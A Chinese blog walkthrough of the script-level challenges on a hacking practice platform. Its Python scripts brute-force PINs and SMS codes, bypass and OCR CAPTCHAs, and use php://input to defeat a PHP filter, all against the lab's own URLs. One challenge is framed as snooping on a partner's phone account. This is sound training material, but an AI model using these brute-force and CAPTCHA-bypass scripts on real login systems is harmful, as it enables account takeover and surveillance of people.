之前我发布了网络信息安全攻防学习平台基础关过关攻略,今天我们连载网络信息安全攻防学习平台脚本关过关攻略,感兴趣的小伙伴们可以研究一下,本关将提供大量的python代码,需要一定的python基础,关于python的学习视频,可以在本博客搜索相关文章。

游戏地址:

http://hackinglab.sinaapp.com/index.php

脚本关过关攻略

第1题:key又又找不到了

小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!!

点击_到这里找key__以后,发现提示,从哪来回哪去,这里我们需要用到burpsuite,对请求数据包进行抓包,在burpsuite里直接可以看到提示。这里主要是使用js进行了跳转,导致我们直接看不到,使用抓包工具可以很容易搞定。

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

第2题:快速口算

小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?

这里的过关地址,每次get请求得到的数据都是变化的,所以需要我们使用脚本获取到相应的数据,并使用脚本计算,这个就很容易了。

这里我使用的是python脚本实现的,当然你也可以用php来实现,之前我使用的是httplib,代码很长,很多朋友建议使用一下resuqests库,今天我又重写了这个脚本,发现requests库很好,很强大,以下是代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/25
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import re

try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

print '\n网络信息安全攻防学习平台脚本关第2题\n'
s = requests.Session()
url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
r = s.get(url)
res = unicode(r.content, 'utf-8').encode('gbk')
# print res

num = re.findall(re.compile(r'<br/>\s+(.*?)='), res)[0]
print '当前获取到需要口算的表达式及计算结果为:\n\n%s=%d\n' % (num, eval(num))

r = s.post(url, data={'v': eval(num)})
print re.findall(re.compile(r'<body>(.*?)</body>'), r.content)[0]

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

第3题:这个题目是空的

Tips:这个题目真不是随便设置的。 什么才是空的呢? 通关地址:没有,请直接提交答案(小写即可)

这个题,我忘了我当时是使用的哪个字符过的了,现在又无法重新过关,所以我把我当时可能使用到的字符提供给大家,大家去测试一下就行了,或者有知道的小伙伴留言提示一下。。

用来表示空白的字符串可能为:%00,%0a,%0d,%0a%0d,%0b,%0c,%a0,null,none等,大家都试一下吧。

据楼下小伙伴留言,答案应该是 null

第4题:逗比验证码第一期

逗比的验证码,有没有难道不一样吗? 这一关的验证码没有设置成post提交一次就失效,所以在获取得到了验证码以后,可以直接多次提交,用python脚本来实现,代码如下:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/26
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

try:
    print '\n网络信息安全攻防学习平台脚本关第4题\n'
    s = requests.Session()
    url = 'http://1.hacklist.sinaapp.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
    for pwd in xrange(1000, 10000):
        payload = {'username': 'admin', 'pwd': pwd, 'vcode': 'gkcj'}
        header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'}
        r = s.post(url, data=payload, headers=header)
        if 'error' not in r.content:
            print '\n爷,正确密码为:', pwd
            print '\n' + r.content
            break
        else:
            print '正在尝试密码:', pwd
except KeyboardInterrupt:
    raise SystemExit('大爷,按您的吩咐,已成功退出!')

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

第5题:怎么就是不弹出key呢?

提交说明:提交前14个字符即可过关

这一关主要考的是js的驾驭能力,查看源代码发现变量a其实是一个匿名函数,而且js里面也禁用了一些常用的弹出对话框的函数,由于js是基于客户端浏览器的,所以我们把代码复制下来,美化后改成如下格式运行即可得到key

<script>
var a = function () {
  var b = function (p, a, c, k, e, r) {
    e = function (c) {
      return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29)  : c.toString(36))
    };
    if (!''.replace(/^/, String)) {
      while (c--) r[e(c)] = k[c] || e(c);
      k = [
        function (e) {
          return r[e]
        }
      ];
      e = function () {
        return '\\w+'
      };
      c = 1
    };
    while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
  }('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]||e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]||e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]||e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]||c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'|u|i|b|c|d|v|x|y|j\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'|\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'|||||||||||||||A||B||M||D|C|E|F||I||J|G|N|O||P|Q|K\\\\\\\'.K(\\\\\\\'|\\\\\\\'),0,{}))\\\',X,X,\\\'||||||||||||||||||||||||||||||||||||S|R|V|W|U|T|Y|13|Z|11|14|12|10|19|1a|1b|1c\\\'.14(\\\'|\\\'),0,{}))\',1t,1u,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||1e|1d|1f|1g|1h|1i|1v|1s|1l||1m|1n|1o|1r|1k|1j|1q|1p|1w|1x|1y|1z\'.1r(\'|\'),0,{}))', 62, 98, '|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'), 0, {
  });
  var d = eval(b);
  alert('key is first 14 chars' + '\n'+d.substr(0,14));
}()
</script>

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

第6题:逗比验证码第二期

验证便失效的验证码,程序猿:“该死的黑客,我让你绕!我验证一次就让你的验证码失效,看你怎么绕!”

这一关的验证码,验证一次以后就失效了,但是再次提交的时候就不需要再考虑验证码是否正确的问题了,所以在脚本中只要保证验证码为''的就可以,代码如下:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/26
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

try:
    print '\n网络信息安全攻防学习平台脚本关第6题\n'
    s = requests.Session()
    url = 'http://1.hacklist.sinaapp.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php'
    for pwd in xrange(1000, 10000):
        payload = {'username': 'admin', 'pwd': pwd, 'vcode': ''}
        header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'}
        r = s.post(url, data=payload, headers=header)
        if 'error' not in r.content:
            print '\n爷,正确密码为:', pwd
            print '\n' + r.content
            break
        else:
            print '正在尝试密码:', pwd
except KeyboardInterrupt:
    raise SystemExit('大爷,按您的吩咐,已成功退出!')

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

第7题:逗比的验证码第三期(SESSION)

Tips:密码是4位数字,首位不是0 Tips2: SESSION

这一关,不知道为什么我用类似第6题的代码一样可以直接过,tips2 session的问题我怎么感觉没有用呢???

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/26
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

try:
    print '\n网络信息安全攻防学习平台脚本关第7题\n'
    s = requests.Session()
    url = 'http://1.hacklist.sinaapp.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php'
    for pwd in xrange(1000, 10000):
        payload = {'username': 'admin', 'pwd': pwd, 'vcode': ''}
        header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'}
        r = s.post(url, data=payload, headers=header)
        if 'error' not in r.content:
            print '\n爷,正确密码为:', pwd
            print '\n' + r.content
            break
        else:
            print '正在尝试密码:', pwd
except KeyboardInterrupt:
    raise SystemExit('大爷,按您的吩咐,已成功退出!')

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

第8题:微笑一下就能过关了

首先你要得到这一关的源代码,index.php?view-source这样访问即可得到 index.php 文件的源代码,代码如下:

<?php  
    header("Content-type: text/html; charset=utf-8");
    if (isset($_GET['view-source'])) { 
        show_source(__FILE__); 
        exit(); 
    } 

    include('flag.php'); 

    $smile = 1;  

   if (!isset ($_GET['^_^'])) $smile = 0;  
    if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; 
    if ($smile) { 
        if (@file_exists ($_GET['^_^'])) $smile = 0;  
    }  
    if ($smile) { 
        $smile = @file_get_contents ($_GET['^_^']);  
        if ($smile === "(●'◡'●)") die($flag);  
    }  
?> 

这一关郁闷了我好久,最后还是看了网上的说明才过去的,思路转载如下:

http://blog.watch0ut.com/isg-2014-writeup-smile-chopper-cryptobaby-gif/

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

既然有了思路,那么用python实现起来就容易了,代码如下:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/26
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import urllib
try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

try:
    print '\n网络信息安全攻防学习平台脚本关第8题\n'
    s = requests.Session()
    url = 'http://1.hacklist.sinaapp.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^.^=php://input'
    header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'}
    r = s.post(url, data=urllib.unquote("%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29"), headers=header)
    print r.content
except KeyboardInterrupt:
    raise SystemExit('大爷,按您的吩咐,已成功退出!')

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

第9题:验证码识别

Tips:验证码依然是3位数

这一关要考的是验证码识别,需要有一定的编程功底才行的,我分别用python及php实现了识别,代码分享如下:(关于php版的由于本文太长了,所以我会另外写一篇关于验证码识别的文章,当然是基础的。)

在运行脚本之前,请先获取一下手机验证码,这是前提。

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/27
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    import pytesseract
    from PIL import Image
    import requests
except ImportError:
    print '模块导入错误,请使用pip安装,pytesseract依赖以下库:'
    print 'http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil'
    print 'http://code.google.com/p/tesseract-ocr/'
    raise SystemExit

header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'}


def vcode():
    "python验证码识别函数"
    pic_url = 'http://1.hacklist.sinaapp.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
    r = requests.get(pic_url, headers=header, timeout=10)
    with open('vcode.png', 'wb') as pic:
        pic.write(r.content)
    im = pytesseract.image_to_string(Image.open('vcode.png'))
    im = im.replace(' ', '')
    if im != '':
        return im
    else:
        return vcode()


try:
    print '\n网络信息安全攻防学习平台脚本关第9题\n'
    for pwd in xrange(100, 999):
        code = vcode()
        url = 'http://1.hacklist.sinaapp.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
        payload = {'username': 13388886666, 'mobi_code': pwd, 'user_code': code}
        r = requests.post(url, data=payload, headers=header, timeout=10)
        response = unicode(r.content, 'utf-8').encode('gbk')
        if 'error' not in response:
            print '正确的验证码为:', pwd, response
            break
        else:
            print '正在尝试手机验证码:', pwd, code
except KeyboardInterrupt:
    raise SystemExit('爷,按您的吩咐,已成功退出!')

其中验证码识别部分需要安装一些依赖库及程序,脚本中有提示,请使用脚本之前进行安装。

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

第10题:逗比的手机验证码

你的手机号码是13388886666,验证码将会以弹窗的形式给出。这一关相对来说比较简单,只是注意一下细节方面的问题即可。

在点击获取手机验证码后,验证码会直接提示,提交这个验证码会提示:“please login as 13388886667”,那么,我们在得到验证码以后,把手机号的最后一位改为7即可秒过这关了。。

第一次过关的时候,我使用的python脚本获取验证码,然后再用脚本提交,再次测试发现,原来直接手工更简单,没有必要折腾代码了。

第11题:基情燃烧的岁月

Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机号码:13388886666

点击获取手机验证码以后,弹出“手机验证码是:验证码发到手机上了,你看不到..是3位纯数字,开头不为0”,这样的话就只能使用脚本来实现了,代码如下:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/27
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'}

try:
    print '\n网络信息安全攻防学习平台脚本关第11题\n'
    for pwd in xrange(100, 999):
        url = 'http://1.hacklist.sinaapp.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php'
        payload = {'username': 13388886666, 'vcode': pwd}
        r = requests.post(url, data=payload, headers=header, timeout=10)
        response = unicode(r.content, 'utf-8').encode('gbk')
        if 'error' not in response:
            print '正确的验证码为:', pwd, response
            break
        else:
            print '正在尝试手机验证码:', pwd
except KeyboardInterrupt:
    raise SystemExit('爷,按您的吩咐,已成功退出!')

结果弹出来了如下提示:

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

前任的手机号码是:13399999999

然后把Phone:改为13399999999,获取一下手机验证码,然后再把脚本里面的手机号改成这个13399999999再破解一次即可得到key。。

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

好了,脚本关完成,写了我几天的时间,所有的python代码基本上完全改写了,使用requests库来完成,之前的是使用httplic+urllib,请继续关注注入关及其它关。。。

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

看看时间,居然0:23分还在为大家分享文章,所以请大家支持一下小弟吧。。。^_^^_^^_^

2015-04-16 修正第5关错误,感觉网友netpoplk的提醒。。。

「找key网」网络信息安全攻防学习平台脚本关过关攻略-开水网络

常关注小弟博客的兄弟们会有福利哦,稍候发放。